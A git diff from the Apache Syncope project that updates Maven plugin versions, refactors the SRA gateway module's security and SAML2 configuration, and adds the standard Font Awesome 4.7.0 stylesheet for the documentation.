org.apache.maven.plugins maven-assembly-plugin - 3.4.2 + 3.8.0 org.codehaus.mojo exec-maven-plugin - 3.1.0 + 3.6.3 @@ -1934,13 +1847,13 @@ under the License. org.jacoco jacoco-maven-plugin - 0.8.8 + 0.8.14 org.sonarsource.scanner.maven sonar-maven-plugin - 3.9.1.2184 + 5.5.0.6356 @@ -1949,7 +1862,7 @@ under the License. org.apache.maven.plugins maven-enforcer-plugin - 3.1.0 + 3.6.2 default-cli @@ -1962,7 +1875,7 @@ under the License. ${targetJdk} - 3.5.0 + 3.9.5 @@ -1973,12 +1886,15 @@ under the License. org.gaul modernizer-maven-plugin - ${modernizer-maven.version} + 3.2.0 ${targetJdk} org.apache.syncope.core.persistence.jpa.entity + + java/util/Optional.get:()Ljava/lang/Object; + @@ -2034,7 +1950,7 @@ under the License. org.codehaus.gmavenplus gmavenplus-plugin - 2.1.0 + 4.3.0 org.apache.groovy @@ -2073,7 +1989,6 @@ under the License. org.apache.rat apache-rat-plugin - 0.15 **/nbactions.xml @@ -2097,6 +2012,7 @@ under the License. **/.* **/*.lst **/*.json + **/*font*awesome* **/banner.txt **/target/** @@ -2124,7 +2040,7 @@ under the License. org.apache.maven.plugins maven-resources-plugin - 3.3.0 + 3.4.0 copy-artifact-legal-files @@ -2152,7 +2068,7 @@ under the License. copy-resources - ${project.build.directory}/apidocs/META-INF + ${project.build.directory}/reports/apidocs/META-INF ${rootpom.basedir} @@ -2204,7 +2120,7 @@ under the License. org.apache.maven.plugins maven-project-info-reports-plugin - 3.4.1 + 3.9.0 false false @@ -2222,9 +2138,9 @@ under the License. org.apache.maven.plugins maven-javadoc-plugin - 3.4.1 + 3.12.0 - ${targetJdk} + ${targetJdk} apidocs/3.0 false true @@ -2239,23 +2155,24 @@ under the License. http://www.slf4j.org/api/ http://connid.tirasa.net/apidocs/1.5/ - http://cxf.apache.org/javadoc/latest/ - http://fasterxml.github.io/jackson-core/javadoc/2.13/ - http://fasterxml.github.io/jackson-databind/javadoc/2.13/ - http://fasterxml.github.io/jackson-annotations/javadoc/2.13/ - http://fasterxml.github.io/jackson-dataformat-xml/javadoc/2.13/ - http://fasterxml.github.io/jackson-dataformats-text/javadoc/yaml/2.13/ - http://fasterxml.github.io/jackson-dataformats-text/javadoc/csv/2.13/ + https://cxf.apache.org/javadoc/latest-3.6.x/ + https://fasterxml.github.io/jackson-core/javadoc/2.14/ + https://fasterxml.github.io/jackson-databind/javadoc/2.14/ + https://fasterxml.github.io/jackson-annotations/javadoc/2.14/ + https://fasterxml.github.io/jackson-dataformat-xml/javadoc/2.14/ https://ci.apache.org/projects/wicket/apidocs/9.x/ https://commons.apache.org/proper/commons-lang/javadocs/api-release/ https://commons.apache.org/proper/commons-jexl/apidocs/ - https://tika.apache.org/2.6.0/api/ - https://docs.spring.io/spring-boot/docs/current/api/ - https://docs.spring.io/spring/docs/current/javadoc-api/ - https://docs.spring.io/spring-security/site/docs/current/api/ - https://www.flowable.com/open-source/docs/javadocs/ - http://docs.swagger.io/swagger-core/v2.1.13/apidocs/ + https://tika.apache.org/2.9.4/api/ + https://docs.spring.io/spring-boot/docs/2.7.x/api/ + https://docs.spring.io/spring-framework/docs/5.3.x/javadoc-api/ + https://docs.spring.io/spring-security/site/docs/5.8.x/api/ + http://docs.swagger.io/swagger-core/v2.2.39/apidocs/ + + --legal-notices + none + @@ -2268,7 +2185,7 @@ under the License. org.apache.maven.plugins maven-jxr-plugin - 3.3.0 + 3.6.0 @@ -2284,16 +2201,30 @@ under the License. + + org.cyclonedx + cyclonedx-maven-plugin + 2.9.1 + + + package + + makeAggregateBom + + + + + org.apache.maven.plugins maven-deploy-plugin - 3.0.0 + 3.1.4 org.apache.maven.plugins maven-gpg-plugin - 3.0.1 + 3.2.8 sign-artifacts @@ -2346,18 +2277,17 @@ under the License. org.asciidoctor asciidoctor-maven-plugin - 2.2.2 + 3.2.0 false org.asciidoctor asciidoctorj-pdf - 2.3.4 + 2.3.23 book - highlightjs ${project.version} ${snapshotOrRelease} @@ -2392,6 +2322,7 @@ under the License. Apache Syncope ${project.version} - Getting Started images + css @@ -2425,6 +2356,7 @@ under the License. Apache Syncope ${project.version} - Reference Guide images + css @@ -2451,11 +2383,7 @@ under the License. org.apache.maven.plugins maven-site-plugin - 3.12.1 - - en - false - + 3.21.0 @@ -2465,6 +2393,7 @@ under the License. skipTests + true true none true @@ -2497,18 +2426,6 @@ under the License. docker - - - jdk16-plus - - - [16,) - - - - -Xms512m -Xmx1024m -Xss256k --add-opens java.base/java.net=ALL-UNNAMED - - diff --git a/sra/LICENSE b/sra/LICENSE index ef620df85c3..9ca7e40951d 100644 --- a/sra/LICENSE +++ b/sra/LICENSE @@ -953,11 +953,6 @@ This is licensed under the AL 2.0, see above. == -For Joda Time (http://www.joda.org/joda-time/): -This is licensed under the AL 2.0, see above. - -== - For json-smart-v2 (https://github.com/netplex/json-smart-v2): This is licensed under the AL 2.0, see above. diff --git a/sra/NOTICE b/sra/NOTICE index 8fa1c7e8ad3..68b593c1f16 100644 --- a/sra/NOTICE +++ b/sra/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2023 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). diff --git a/sra/pom.xml b/sra/pom.xml index 162456830aa..3367e8adf27 100644 --- a/sra/pom.xml +++ b/sra/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope SRA @@ -115,11 +115,6 @@ under the License. hibernate-validator - - org.gaul - modernizer-maven-annotations - - org.slf4j slf4j-api @@ -136,11 +131,6 @@ under the License. com.lmax disruptor - - commons-logging - commons-logging - provided - org.slf4j jcl-over-slf4j @@ -188,6 +178,7 @@ under the License. true + ${project.build.directory}/log diff --git a/sra/src/main/java/org/apache/syncope/sra/SRAProperties.java b/sra/src/main/java/org/apache/syncope/sra/SRAProperties.java index 3e1504c96a4..a42878e9efb 100644 --- a/sra/src/main/java/org/apache/syncope/sra/SRAProperties.java +++ b/sra/src/main/java/org/apache/syncope/sra/SRAProperties.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.sra; +import java.io.Serializable; import java.net.URI; import java.util.ArrayList; import java.util.Arrays; @@ -31,11 +32,15 @@ @ConfigurationProperties(SRAProperties.PREFIX) public class SRAProperties extends SyncopeProperties { + private static final long serialVersionUID = 1250377680268118123L; + public static final String PREFIX = "sra"; public static final String AM_TYPE = "am-type"; - public static class Global { + public static class Global implements Serializable { + + private static final long serialVersionUID = -2035267979830256742L; private URI error = URI.create("/error"); @@ -66,7 +71,9 @@ public enum AMType { } - public static class OIDC { + public static class OIDC implements Serializable { + + private static final long serialVersionUID = 4428057402762583676L; private String configuration; @@ -114,7 +121,9 @@ public void setScopes(final List scopes) { } } - public static class OAUTH2 { + public static class OAUTH2 implements Serializable { + + private static final long serialVersionUID = -5051777207539192764L; private String tokenUri; @@ -207,7 +216,9 @@ public void setScopes(final List scopes) { } } - public static class SAML2 { + public static class SAML2 implements Serializable { + + private static final long serialVersionUID = 6819907914821190235L; private SAML2BindingType authnRequestBinding = SAML2BindingType.POST; @@ -217,7 +228,9 @@ public static class SAML2 { private String entityId; - private long skew; + private long maximumAuthenticationLifetime = 3600; + + private long acceptedSkew = 300; private String spMetadataFilePath; @@ -263,12 +276,20 @@ public void setEntityId(final String entityId) { this.entityId = entityId; } - public long getSkew() { - return skew; + public long getMaximumAuthenticationLifetime() { + return maximumAuthenticationLifetime; } - public void setSkew(final int skew) { - this.skew = skew; + public void setMaximumAuthenticationLifetime(final long maximumAuthenticationLifetime) { + this.maximumAuthenticationLifetime = maximumAuthenticationLifetime; + } + + public long getAcceptedSkew() { + return acceptedSkew; + } + + public void setAcceptedSkew(final int acceptedSkew) { + this.acceptedSkew = acceptedSkew; } public String getSpMetadataFilePath() { @@ -320,7 +341,9 @@ public void setKeystoreKeypass(final String keystoreKeyPass) { } } - public static class CAS { + public static class CAS implements Serializable { + + private static final long serialVersionUID = -5413988649759834473L; private String serverPrefix; diff --git a/sra/src/main/java/org/apache/syncope/sra/SecurityConfig.java b/sra/src/main/java/org/apache/syncope/sra/SecurityConfig.java index af091ce6e40..617fe428094 100644 --- a/sra/src/main/java/org/apache/syncope/sra/SecurityConfig.java +++ b/sra/src/main/java/org/apache/syncope/sra/SecurityConfig.java @@ -49,11 +49,14 @@ import org.springframework.context.ConfigurableApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.core.convert.converter.Converter; import org.springframework.core.io.FileUrlResource; import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; +import org.springframework.http.server.reactive.ServerHttpRequestDecorator; import org.springframework.security.config.annotation.web.reactive.EnableWebFluxSecurity; import org.springframework.security.config.web.server.ServerHttpSecurity; import org.springframework.security.core.userdetails.MapReactiveUserDetailsService; @@ -76,12 +79,34 @@ import org.springframework.security.web.server.util.matcher.NegatedServerWebExchangeMatcher; import org.springframework.security.web.server.util.matcher.ServerWebExchangeMatcher; import org.springframework.security.web.server.util.matcher.ServerWebExchangeMatchers; +import org.springframework.web.server.WebFilter; import reactor.core.publisher.Mono; @EnableWebFluxSecurity @Configuration(proxyBeanMethods = false) public class SecurityConfig { + /** + * Workaround for https://github.com/spring-projects/spring-framework/issues/33789 + * + * @return web filter with writable HTTP headers + */ + @Bean + @Order(Ordered.HIGHEST_PRECEDENCE) + public WebFilter writeableHeaders() { + return (exchange, chain) -> { + HttpHeaders writeableHeaders = HttpHeaders.writableHttpHeaders(exchange.getRequest().getHeaders()); + ServerHttpRequestDecorator writeableRequest = new ServerHttpRequestDecorator(exchange.getRequest()) { + + @Override + public HttpHeaders getHeaders() { + return writeableHeaders; + } + }; + return chain.filter(exchange.mutate().request(writeableRequest).build()); + }; + } + @Bean @Order(0) @ConditionalOnProperty(prefix = SRAProperties.PREFIX, name = SRAProperties.AM_TYPE, havingValue = "SAML2") @@ -94,6 +119,7 @@ public SecurityWebFilterChain saml2SecurityFilterChain(final ServerHttpSecurity and().build(); } + @ConditionalOnMissingBean @Bean @Order(1) public SecurityWebFilterChain actuatorSecurityFilterChain(final ServerHttpSecurity http) { @@ -105,8 +131,9 @@ public SecurityWebFilterChain actuatorSecurityFilterChain(final ServerHttpSecuri and().build(); } + @ConditionalOnMissingBean @Bean - public ReactiveUserDetailsService userDetailsService(final SRAProperties props) { + public ReactiveUserDetailsService actuatorUserDetailsService(final SRAProperties props) { UserDetails user = User.builder(). username(props.getAnonymousUser()). password("{noop}" + props.getAnonymousKey()). @@ -270,7 +297,8 @@ public InputStream retrieve() throws Exception { cfg.setAuthnRequestSigned(true); cfg.setSpLogoutRequestSigned(true); cfg.setServiceProviderMetadataResourceFilepath(props.getSaml2().getSpMetadataFilePath()); - cfg.setAcceptedSkew(props.getSaml2().getSkew()); + cfg.setMaximumAuthenticationLifetime(props.getSaml2().getMaximumAuthenticationLifetime()); + cfg.setAcceptedSkew(props.getSaml2().getAcceptedSkew()); cfg.setLogoutHandler(new NoOpLogoutHandler()); diff --git a/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAApplication.java b/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAApplication.java index 0714783c57e..4b711f434c7 100644 --- a/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAApplication.java +++ b/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAApplication.java @@ -31,6 +31,7 @@ import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.cache.CacheManager; @@ -60,7 +61,7 @@ public LogoutRouteMatcher logoutRouteMatcher() { public PublicRouteMatcher publicRouteMatcher() { return new PublicRouteMatcher(); } - + @Bean public CsrfRouteMatcher csrfRouteMatcher(final PublicRouteMatcher publicRouteMatcher) { return new CsrfRouteMatcher(publicRouteMatcher); @@ -69,8 +70,8 @@ public CsrfRouteMatcher csrfRouteMatcher(final PublicRouteMatcher publicRouteMat @ConditionalOnMissingBean @Bean public RouteProvider routeProvider(final ConfigurableApplicationContext ctx, - final ServiceOps serviceOps, - final SRAProperties props) { + final ServiceOps serviceOps, + final SRAProperties props) { return new RouteProvider( serviceOps, ctx, @@ -94,7 +95,7 @@ public SRASessions sraSessionsActuatorEndpoint(final CacheManager cacheManager) @ConditionalOnMissingBean @Bean public SyncopeCoreHealthIndicator syncopeCoreHealthIndicator(final ServiceOps serviceOps, - final SRAProperties props) { + final SRAProperties props) { return new SyncopeCoreHealthIndicator( serviceOps, props.getAnonymousUser(), @@ -108,11 +109,15 @@ public SyncopeSRAInfoContributor syncopeSRAInfoContributor() { return new SyncopeSRAInfoContributor(); } + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStart keymasterStart() { return new KeymasterStart(NetworkService.Type.SRA); } + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStop keymasterStop() { return new KeymasterStop(NetworkService.Type.SRA); @@ -120,8 +125,8 @@ public KeymasterStop keymasterStop() { @Bean public WebExceptionHandler syncopeSRAWebExceptionHandler( - @Qualifier("routeProvider") final RouteProvider routeProvider, - final SRAProperties props) { + @Qualifier("routeProvider") final RouteProvider routeProvider, + final SRAProperties props) { return new SyncopeSRAWebExceptionHandler(routeProvider, props); } } diff --git a/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAWebExceptionHandler.java b/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAWebExceptionHandler.java index 3ddd232cda4..b7ecd40e1c3 100644 --- a/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAWebExceptionHandler.java +++ b/sra/src/main/java/org/apache/syncope/sra/SyncopeSRAWebExceptionHandler.java @@ -71,14 +71,12 @@ private URI getError(final ServerWebExchange exchange) { String routeId = exchange.getAttribute(ServerWebExchangeUtils.GATEWAY_PREDICATE_ROUTE_ATTR); if (StringUtils.isNotBlank(routeId)) { Optional routeError = Optional.ofNullable(CACHE.get(routeId)).orElseGet(() -> { - URI uri = null; Optional route = routeProvider.getRouteTOs().stream(). filter(r -> routeId.equals(r.getKey())).findFirst(); - if (route.isPresent()) { - uri = route.get().getError(); - } + URI uri = route.map(SRARouteTO::getError).orElse(null); - return CACHE.put(routeId, Optional.ofNullable(uri)); + CACHE.put(routeId, Optional.ofNullable(uri)); + return CACHE.get(routeId); }); if (routeError.isPresent()) { error = routeError.get(); diff --git a/sra/src/main/java/org/apache/syncope/sra/actuate/SyncopeCoreHealthIndicator.java b/sra/src/main/java/org/apache/syncope/sra/actuate/SyncopeCoreHealthIndicator.java index 6c2af78f601..94f9c0095d9 100644 --- a/sra/src/main/java/org/apache/syncope/sra/actuate/SyncopeCoreHealthIndicator.java +++ b/sra/src/main/java/org/apache/syncope/sra/actuate/SyncopeCoreHealthIndicator.java @@ -41,6 +41,8 @@ public class SyncopeCoreHealthIndicator implements HealthIndicator { protected final boolean useGZIPCompression; + private SRARouteService service; + public SyncopeCoreHealthIndicator( final ServiceOps serviceOps, final String anonymousUser, @@ -53,16 +55,25 @@ public SyncopeCoreHealthIndicator( this.useGZIPCompression = useGZIPCompression; } + protected SRARouteService service() { + synchronized (this) { + if (service == null) { + service = new SyncopeClientFactoryBean(). + setAddress(serviceOps.get(NetworkService.Type.CORE).getAddress()). + setUseCompression(useGZIPCompression). + create(new AnonymousAuthenticationHandler(anonymousUser, anonymousKey)). + getService(SRARouteService.class); + } + } + return service; + } + @Override public Health health() { Health.Builder builder = new Health.Builder(); try { - new SyncopeClientFactoryBean(). - setAddress(serviceOps.get(NetworkService.Type.CORE).getAddress()). - setUseCompression(useGZIPCompression). - create(new AnonymousAuthenticationHandler(anonymousUser, anonymousKey)). - getService(SRARouteService.class).list(); + service().list(); builder.status(Status.UP); } catch (Exception e) { LOG.debug("When attempting to connect to Syncope Core", e); diff --git a/sra/src/main/java/org/apache/syncope/sra/security/AbstractServerLogoutSuccessHandler.java b/sra/src/main/java/org/apache/syncope/sra/security/AbstractServerLogoutSuccessHandler.java index b6b8d6c6b3e..1a91b1b1927 100644 --- a/sra/src/main/java/org/apache/syncope/sra/security/AbstractServerLogoutSuccessHandler.java +++ b/sra/src/main/java/org/apache/syncope/sra/security/AbstractServerLogoutSuccessHandler.java @@ -58,12 +58,9 @@ protected URI getPostLogout(final WebFilterExchange exchange) { String routeId = exchange.getExchange().getAttribute(ServerWebExchangeUtils.GATEWAY_PREDICATE_ROUTE_ATTR); if (StringUtils.isNotBlank(routeId)) { Optional routePostLogout = Optional.ofNullable(CACHE.get(routeId)).orElseGet(() -> { - URI uri = null; Optional route = routeProvider.getRouteTOs().stream(). filter(r -> routeId.equals(r.getKey())).findFirst(); - if (route.isPresent()) { - uri = route.get().getPostLogout(); - } + URI uri = route.map(SRARouteTO::getPostLogout).orElse(null); CACHE.put(routeId, Optional.ofNullable(uri)); return CACHE.get(routeId); diff --git a/sra/src/main/resources/log4j2.xml b/sra/src/main/resources/log4j2.xml index 3e0fa0c89a3..bd7585adee8 100644 --- a/sra/src/main/resources/log4j2.xml +++ b/sra/src/main/resources/log4j2.xml @@ -21,8 +21,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n @@ -33,8 +33,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n diff --git a/sra/src/test/resources/debug/sra-debug.properties b/sra/src/test/resources/debug/sra-debug.properties index f73cd07e941..3d6bcc7f35e 100644 --- a/sra/src/test/resources/debug/sra-debug.properties +++ b/sra/src/test/resources/debug/sra-debug.properties @@ -22,6 +22,7 @@ sra.am-type=OIDC sra.oidc.configuration=https://localhost:9443/syncope-wa/oidc sra.oidc.client-id=oidcTestClientId sra.oidc.client-secret=oidcTestClientSecret +sra.oidc.scopes=openid,profile,email #sra.am-type=OAUTH2 #sra.oauth2.tokenUri=https://localhost:9443/syncope-wa/oauth2.0/accessToken @@ -39,7 +40,8 @@ sra.oidc.client-secret=oidcTestClientSecret #sra.saml2.logout-request-binding=POST #sra.saml2.logout-response-binding=REDIRECT #sra.saml2.entityId=http://localhost:8080 -#sra.saml2.skew=300 +#sra.saml2.maximum-authentication-lifetime=3600 +#sra.saml2.accepted-skew=300 #sra.saml2.sp-metadata-file-path=/tmp/saml2-sp-metadata.xml #sra.saml2.idp-metadata=https://localhost:9443/syncope-wa/idp/metadata #sra.saml2.keystore=classpath:/saml.keystore.jks diff --git a/src/main/asciidoc/css/font-awesome.css b/src/main/asciidoc/css/font-awesome.css new file mode 100644 index 00000000000..ee906a8196d --- /dev/null +++ b/src/main/asciidoc/css/font-awesome.css @@ -0,0 +1,2337 @@ +/*! + * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome + * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) + */ +/* FONT PATH + * -------------------------- */ +@font-face { + font-family: 'FontAwesome'; + src: url('../fonts/fontawesome-webfont.eot?v=4.7.0'); + src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg'); + font-weight: normal; + font-style: normal; +} +.fa { + display: inline-block; + font: normal normal normal 14px/1 FontAwesome; + font-size: inherit; + text-rendering: auto; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +/* makes the font 33% larger relative to the icon container */ +.fa-lg { + font-size: 1.33333333em; + line-height: 0.75em; + vertical-align: -15%; +} +.fa-2x { + font-size: 2em; +} +.fa-3x { + font-size: 3em; +} +.fa-4x { + font-size: 4em; +} +.fa-5x { + font-size: 5em; +} +.fa-fw { + width: 1.28571429em; + text-align: center; +} +.fa-ul { + padding-left: 0; + margin-left: 2.14285714em; + list-style-type: none; +} +.fa-ul > li { + position: relative; +} +.fa-li { + position: absolute; + left: -2.14285714em; + width: 2.14285714em; + top: 0.14285714em; + text-align: center; +} +.fa-li.fa-lg { + left: -1.85714286em; +} +.fa-border { + padding: .2em .25em .15em; + border: solid 0.08em #eeeeee; + border-radius: .1em; +} +.fa-pull-left { + float: left; +} +.fa-pull-right { + float: right; +} +.fa.fa-pull-left { + margin-right: .3em; +} +.fa.fa-pull-right { + margin-left: .3em; +} +/* Deprecated as of 4.4.0 */ +.pull-right { + float: right; +} +.pull-left { + float: left; +} +.fa.pull-left { + margin-right: .3em; +} +.fa.pull-right { + margin-left: .3em; +} +.fa-spin { + -webkit-animation: fa-spin 2s infinite linear; + animation: fa-spin 2s infinite linear; +} +.fa-pulse { + -webkit-animation: fa-spin 1s infinite steps(8); + animation: fa-spin 1s infinite steps(8); +} +@-webkit-keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(359deg); + transform: rotate(359deg); + } +} +@keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(359deg); + transform: rotate(359deg); + } +} +.fa-rotate-90 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); +} +.fa-rotate-180 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; + -webkit-transform: rotate(180deg); + -ms-transform: rotate(180deg); + transform: rotate(180deg); +} +.fa-rotate-270 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; + -webkit-transform: rotate(270deg); + -ms-transform: rotate(270deg); + transform: rotate(270deg); +} +.fa-flip-horizontal { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; + -webkit-transform: scale(-1, 1); + -ms-transform: scale(-1, 1); + transform: scale(-1, 1); +} +.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(1, -1); + -ms-transform: scale(1, -1); + transform: scale(1, -1); +} +:root .fa-rotate-90, +:root .fa-rotate-180, +:root .fa-rotate-270, +:root .fa-flip-horizontal, +:root .fa-flip-vertical { + filter: none; +} +.fa-stack { + position: relative; + display: inline-block; + width: 2em; + height: 2em; + line-height: 2em; + vertical-align: middle; +} +.fa-stack-1x, +.fa-stack-2x { + position: absolute; + left: 0; + width: 100%; + text-align: center; +} +.fa-stack-1x { + line-height: inherit; +} +.fa-stack-2x { + font-size: 2em; +} +.fa-inverse { + color: #ffffff; +} +/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen + readers do not read off random characters that represent icons */ +.fa-glass:before { + content: "\f000"; +} +.fa-music:before { + content: "\f001"; +} +.fa-search:before { + content: "\f002"; +} +.fa-envelope-o:before { + content: "\f003"; +} +.fa-heart:before { + content: "\f004"; +} +.fa-star:before { + content: "\f005"; +} +.fa-star-o:before { + content: "\f006"; +} +.fa-user:before { + content: "\f007"; +} +.fa-film:before { + content: "\f008"; +} +.fa-th-large:before { + content: "\f009"; +} +.fa-th:before { + content: "\f00a"; +} +.fa-th-list:before { + content: "\f00b"; +} +.fa-check:before { + content: "\f00c"; +} +.fa-remove:before, +.fa-close:before, +.fa-times:before { + content: "\f00d"; +} +.fa-search-plus:before { + content: "\f00e"; +} +.fa-search-minus:before { + content: "\f010"; +} +.fa-power-off:before { + content: "\f011"; +} +.fa-signal:before { + content: "\f012"; +} +.fa-gear:before, +.fa-cog:before { + content: "\f013"; +} +.fa-trash-o:before { + content: "\f014"; +} +.fa-home:before { + content: "\f015"; +} +.fa-file-o:before { + content: "\f016"; +} +.fa-clock-o:before { + content: "\f017"; +} +.fa-road:before { + content: "\f018"; +} +.fa-download:before { + content: "\f019"; +} +.fa-arrow-circle-o-down:before { + content: "\f01a"; +} +.fa-arrow-circle-o-up:before { + content: "\f01b"; +} +.fa-inbox:before { + content: "\f01c"; +} +.fa-play-circle-o:before { + content: "\f01d"; +} +.fa-rotate-right:before, +.fa-repeat:before { + content: "\f01e"; +} +.fa-refresh:before { + content: "\f021"; +} +.fa-list-alt:before { + content: "\f022"; +} +.fa-lock:before { + content: "\f023"; +} +.fa-flag:before { + content: "\f024"; +} +.fa-headphones:before { + content: "\f025"; +} +.fa-volume-off:before { + content: "\f026"; +} +.fa-volume-down:before { + content: "\f027"; +} +.fa-volume-up:before { + content: "\f028"; +} +.fa-qrcode:before { + content: "\f029"; +} +.fa-barcode:before { + content: "\f02a"; +} +.fa-tag:before { + content: "\f02b"; +} +.fa-tags:before { + content: "\f02c"; +} +.fa-book:before { + content: "\f02d"; +} +.fa-bookmark:before { + content: "\f02e"; +} +.fa-print:before { + content: "\f02f"; +} +.fa-camera:before { + content: "\f030"; +} +.fa-font:before { + content: "\f031"; +} +.fa-bold:before { + content: "\f032"; +} +.fa-italic:before { + content: "\f033"; +} +.fa-text-height:before { + content: "\f034"; +} +.fa-text-width:before { + content: "\f035"; +} +.fa-align-left:before { + content: "\f036"; +} +.fa-align-center:before { + content: "\f037"; +} +.fa-align-right:before { + content: "\f038"; +} +.fa-align-justify:before { + content: "\f039"; +} +.fa-list:before { + content: "\f03a"; +} +.fa-dedent:before, +.fa-outdent:before { + content: "\f03b"; +} +.fa-indent:before { + content: "\f03c"; +} +.fa-video-camera:before { + content: "\f03d"; +} +.fa-photo:before, +.fa-image:before, +.fa-picture-o:before { + content: "\f03e"; +} +.fa-pencil:before { + content: "\f040"; +} +.fa-map-marker:before { + content: "\f041"; +} +.fa-adjust:before { + content: "\f042"; +} +.fa-tint:before { + content: "\f043"; +} +.fa-edit:before, +.fa-pencil-square-o:before { + content: "\f044"; +} +.fa-share-square-o:before { + content: "\f045"; +} +.fa-check-square-o:before { + content: "\f046"; +} +.fa-arrows:before { + content: "\f047"; +} +.fa-step-backward:before { + content: "\f048"; +} +.fa-fast-backward:before { + content: "\f049"; +} +.fa-backward:before { + content: "\f04a"; +} +.fa-play:before { + content: "\f04b"; +} +.fa-pause:before { + content: "\f04c"; +} +.fa-stop:before { + content: "\f04d"; +} +.fa-forward:before { + content: "\f04e"; +} +.fa-fast-forward:before { + content: "\f050"; +} +.fa-step-forward:before { + content: "\f051"; +} +.fa-eject:before { + content: "\f052"; +} +.fa-chevron-left:before { + content: "\f053"; +} +.fa-chevron-right:before { + content: "\f054"; +} +.fa-plus-circle:before { + content: "\f055"; +} +.fa-minus-circle:before { + content: "\f056"; +} +.fa-times-circle:before { + content: "\f057"; +} +.fa-check-circle:before { + content: "\f058"; +} +.fa-question-circle:before { + content: "\f059"; +} +.fa-info-circle:before { + content: "\f05a"; +} +.fa-crosshairs:before { + content: "\f05b"; +} +.fa-times-circle-o:before { + content: "\f05c"; +} +.fa-check-circle-o:before { + content: "\f05d"; +} +.fa-ban:before { + content: "\f05e"; +} +.fa-arrow-left:before { + content: "\f060"; +} +.fa-arrow-right:before { + content: "\f061"; +} +.fa-arrow-up:before { + content: "\f062"; +} +.fa-arrow-down:before { + content: "\f063"; +} +.fa-mail-forward:before, +.fa-share:before { + content: "\f064"; +} +.fa-expand:before { + content: "\f065"; +} +.fa-compress:before { + content: "\f066"; +} +.fa-plus:before { + content: "\f067"; +} +.fa-minus:before { + content: "\f068"; +} +.fa-asterisk:before { + content: "\f069"; +} +.fa-exclamation-circle:before { + content: "\f06a"; +} +.fa-gift:before { + content: "\f06b"; +} +.fa-leaf:before { + content: "\f06c"; +} +.fa-fire:before { + content: "\f06d"; +} +.fa-eye:before { + content: "\f06e"; +} +.fa-eye-slash:before { + content: "\f070"; +} +.fa-warning:before, +.fa-exclamation-triangle:before { + content: "\f071"; +} +.fa-plane:before { + content: "\f072"; +} +.fa-calendar:before { + content: "\f073"; +} +.fa-random:before { + content: "\f074"; +} +.fa-comment:before { + content: "\f075"; +} +.fa-magnet:before { + content: "\f076"; +} +.fa-chevron-up:before { + content: "\f077"; +} +.fa-chevron-down:before { + content: "\f078"; +} +.fa-retweet:before { + content: "\f079"; +} +.fa-shopping-cart:before { + content: "\f07a"; +} +.fa-folder:before { + content: "\f07b"; +} +.fa-folder-open:before { + content: "\f07c"; +} +.fa-arrows-v:before { + content: "\f07d"; +} +.fa-arrows-h:before { + content: "\f07e"; +} +.fa-bar-chart-o:before, +.fa-bar-chart:before { + content: "\f080"; +} +.fa-twitter-square:before { + content: "\f081"; +} +.fa-facebook-square:before { + content: "\f082"; +} +.fa-camera-retro:before { + content: "\f083"; +} +.fa-key:before { + content: "\f084"; +} +.fa-gears:before, +.fa-cogs:before { + content: "\f085"; +} +.fa-comments:before { + content: "\f086"; +} +.fa-thumbs-o-up:before { + content: "\f087"; +} +.fa-thumbs-o-down:before { + content: "\f088"; +} +.fa-star-half:before { + content: "\f089"; +} +.fa-heart-o:before { + content: "\f08a"; +} +.fa-sign-out:before { + content: "\f08b"; +} +.fa-linkedin-square:before { + content: "\f08c"; +} +.fa-thumb-tack:before { + content: "\f08d"; +} +.fa-external-link:before { + content: "\f08e"; +} +.fa-sign-in:before { + content: "\f090"; +} +.fa-trophy:before { + content: 